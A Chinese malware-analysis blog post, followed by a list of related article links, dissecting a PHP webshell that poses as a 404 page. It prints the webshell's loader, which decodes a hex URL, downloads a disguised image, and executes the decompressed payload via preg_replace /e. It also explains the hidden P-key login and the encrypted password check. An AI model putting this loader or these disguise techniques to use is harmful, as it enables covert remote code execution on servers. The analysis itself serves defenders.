近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

error_reporting(0);

session_start();

header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))

$_SESSION['api']=substr(file_get_contents(

sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);

@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);

?>

关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));

?>

如图所示:

分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:

首先我先看一下它的前端html代码,其中有这么一段js程序

document.onkeydown = function(e) {

var theEvent = window.event || e;

var code = theEvent.keyCode || theEvent.which;

if (80 == code) {

$("login").style.display = "block"

}

}

这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键

所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:

再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,代码如图所示:

再看init()的逻辑

如图所示,先看这句代码

$true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731c

f093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));

根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,

unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true))

所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE['key'],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下

function callback() {

var json = eval("(" + this.responseText + ")");

if (json.status=='on'){

window.location.reload();

return;

}

if (json.notice) {

$("notice").style.display = "block";

$("notice").innerHTML = json.notice;

sideOut();

}

}

这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑,如图所示:

php webshell 分析,一款奇葩的PHP Webshell后门分析相关推荐

  1. PHP后门新玩法:一款猥琐的PHP后门分析

    近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣.接下来就让我们一同共赏这 ...

  2. 在线php后门查找,一款猥琐的PHP后门分析

    近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣.接下来就让我们一同共赏这 ...

  3. 一款猥琐的PHP后门分析

    Webshell代码如下: <?php error_reporting(0); session_start(); header("Content-type:text/html;char ...

  4. 几款常用CAE软件的比较分析

    要完成一项CAE工程,合适的软件是必须配备的,目前比较常用的CAE分析软件有ANSYS.ABAQUS.NASTRAN.ADINA .MARC.MAGSOFT.COSMOS等.我们不能简单地评价哪种软件 ...

  5. 课后作业week 5 —— 两款修图软件优势及创新分析

    由于我平时没事也会修修照片什么的,也用过一些不同种类的修图软件,这次作业就选择了其中两款比较热门的软件进行分析. 说到手机修图app,很多人很容易想到"美图秀秀",的确这款app在 ...

  6. 25款最好的数据恢复软件测评分析与对比

    25款最好的数据恢复软件测评分析与对比 准备: 1.  文件类型:TXT.office.视频文件.图片文件,程序软件文件等等.全盘格式化恢复 2.再次装满文件,删除部分文件,格式化硬盘, 3.删除分区 ...

  7. 一款超级实用的车辆总线分析系统—VehicleCAN

    ** 一款超级实用的车辆总线分析系统-VehicleCAN ** 汽车CAN总线全称为"控制器局域网(Controller Area Network)",是一种能有效支持分布式控制 ...

  8. 群体进化,群体结构分析之STRUCTURE分析三款软件比较

    STRUCTURE分析三款软件比较 三篇高引用文章 2005-STRUCTURE[1] 把选k值写的很清楚 2020/5/16 引用13119 这篇文章发表的时候二代测序还没兴起,ssr等的标记数量有 ...

  9. 用Python分析2000款避孕套,得出这些有趣的结论

    前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理. PS:如有需要Python学习资料的小伙伴可以加点击下方链接自行获取 python免费学习资 ...

最新文章

  1. having 与where 的异同点
  2. ES6,新增数据结构Set的用法
  3. MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow)的理解(即c++参数初始)
  4. 超大规模预训练模型专场直播:模型真的越大越好吗?
  5. C语言实现最长子序列 longest subsequence 算法(附完整源码)
  6. [Python人工智能] 七.加速神经网络、激励函数和过拟合
  7. [转]阿里编程规范(精简版)
  8. Scramble String -- LeetCode
  9. c语言两个字符串比较,将两个字符串s1和s2比较,如果s1s2,数组编程:将2个字符串s1和s2比较。若s1s2输出1;若s1=s2,输出0;若s1s2,输出-1(不能用strcmp函数)...
  10. hana 表空间_oracle currentval
  11. 实习笔试题,源代码编译
  12. 常用编码软件简单使用记录 1 : 自主编码器
  13. 在Macbook M1上安装Parallels Desktop 17虚拟机和Originlab 2021
  14. Mysql解压版配置环境等
  15. css3-d ,动画,圆角
  16. [加壳脱壳] VMP壳原理简介
  17. 从Qt Console Application到Qt GUI Application
  18. MAXHUB会议平板的无线投屏怎么用?
  19. vue 子页面调用父页面的参数_Vue子父组件间的数据传递
  20. CSP—— 登机牌条码(多项式的求解以及多项式的除法)

热门文章

  1. ResRep Lossless CNN Pruning via Decoupling Remembering and Forgetting 论文学习
  2. 多项式polynomial 考试 解题报告
  3. JSP和Servlet是什么关系,JSP工作原理?
  4. python爬取微博用户的微博内容和图片
  5. CSS3特效-自定义checkbox样式
  6. 手把手教你设计短信验证码
  7. 我的世界手机版javaui材质包_我的世界:史蒂夫都有皮肤,存档也想换新装,这4种材质包很适合...
  8. filebeat重复采集数据问题排查
  9. LeetCode题解(1425):带限制的子序列和(Python)
  10. BCset BC set how entry is inserted to Database table when activated